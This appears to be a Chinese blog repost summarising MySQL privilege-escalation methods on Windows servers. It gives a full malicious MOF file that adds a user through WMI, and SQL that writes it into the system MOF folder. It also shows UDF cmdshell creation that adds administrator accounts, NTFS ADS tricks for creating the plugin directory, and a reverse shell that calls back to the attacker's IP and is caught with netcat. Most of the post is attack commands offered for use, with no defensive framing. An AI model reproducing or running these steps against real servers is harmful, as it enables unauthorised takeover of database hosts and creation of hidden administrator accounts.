mysql 提权_MYSQL提权总结

经擦遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

一、利用mof提权

前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows

Remote System Level Exploit (Stuxnet technique)

0day),剑心牛对MOF利用进行了分析,如下:

Windows

管理规范 (WMI) 提供了以下三种方法编译到 WMI

存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将

Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler

接口和 $ CompileFile 方法。

方法

3: 拖放到 %SystemRoot%\System32\Wbem\MOF

文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF

文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile

方法。

第三种方法仅为向后兼容性与早期版本的 WMI

提供,并因为此功能可能不会提供在将来的版本后,不应使用。

具体到mysql提权中,我们又该怎么利用呢?

1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof

代码如下。

#pragma

namespace("\\\\.\\root\\subscription")

instance of __EventFilter as

$EventFilter

{

EventNamespace

= "Root\\Cimv2";

Name

= "filtP2";

Query = "Select * From

__InstanceModificationEvent "

"Where

TargetInstance Isa

\"Win32_LocalTime\" "

"And

TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as

$Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var

WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user

waitalone waitalone.cn /add\")";

};

instance of

__FilterToConsumerBinding

{

Consumer

= $Consumer;

Filter = $EventFilter;

};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into

dumpfile把文件导出到正确的位置即可。

select load_file('C:/wmpub/nullevt.mof') into

dumpfile

'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared

library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

2、创建相应的函数并执行命令,具体如下:

create function cmdshell returns string soname

'udf.dll';

select cmdshell('net user waitalone waitalone.cn

/add');

select cmdshell('net localgroup administrators

waitalone /add');

drop function

cmdshell; 删除函数

delete from mysql.func where

name='cmdshell'  删除函数

3、某些情况下,我们会遇到Can't open shared

library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS

ADS流来创建文件夹的方法

select

@@basedir;

//查找到mysql的目录

select 'It is dll' into dumpfile

'C:\\Program Files\\MySQL\\MySQL Server

5.1\\lib::$INDEX_ALLOCATION';

//利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program

Files\\MySQL\\MySQL Server

5.1\\lib\\plugin::$INDEX_ALLOCATION';

//利用NTFS ADS创建plugin目录

执行成功以后再进行导出即可。

三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

mysql.exe -h 172.16.10.11

-uroot -p

Enter password:

mysql> \.

c:\mysql.txt

mysql>select

backshell("YourIP",2010);

2、本地监听你反弹的端口

nc.exe -vv -l -p

2010

成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

mysql.txt下载

:http://pan.baidu.com/share/link?shareid=3689997446&uk=2466540631

参考文章:

http://zone.wooyun.org/content/1795

http://www.exploit-db.com/exploits/23083/

http://www.myhack58.com/Article/html/3/8/2013/38264.htm

http://www.2cto.com/Article/201212/177983.html

要是执行 创建shell出现以下回显 很大的可能是被删了

SQL语句:create function cmdshell returns string

soname 'moonudf.dll'

Can't open shared library

'moonudf.dll' (errno: 2 )

另外要是不存在plugin目录可以用ADS创建

//查找mysql的目录select

@@basedir;//利用NTFS ADS创建lib目录select 'It is dll'into dumpfile

'C:\\Program Files\\MySQL\\MySQL Server

5.1\\lib::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录select 'It is

dll'into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server

5.1\\lib\\plugin::$INDEX_ALLOCATION';

另外再附一篇文章 ,说的听明白

udf提权方法和出现问题汇总

一、适用条件

1.目标系统是Windows(Win2000,XP,Win2003);

2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

3.有root账号密码

二、导出udf

MYSQL 5.1以下版本导出路径:

C:Winntudf.dll

2000C:Windowsudf.dll

2003(有的系统被转义,需要改为C:Windowsudf.dll)

导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)

MYSQL

5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like

'%plugins%'   寻找mysql安装路径

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

三、提权

使用SQL语句创建功能函数。语法:Create Function

函数名(函数名只能为下面列表中的其中之一)returns string soname

'导出的DLL路径';

create function cmdshell returns string soname

'udf.dll'select cmdshell('net user arsch arsch /add');select

cmdshell('net localgroup administrators arsch

/add');

drop function cmdshell;

总结:

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:

在MYSQL

4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL

4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。大家有的时候在创建函数的时候,常常会遇到:数据库查讯出错,请检查SQL语句create

function cmdshell returns string soname

'udf.dll'的语法是否正确。Function 'cmdshell'already

exists

(文章来自百度)​

你可能感兴趣的:(mysql,提权)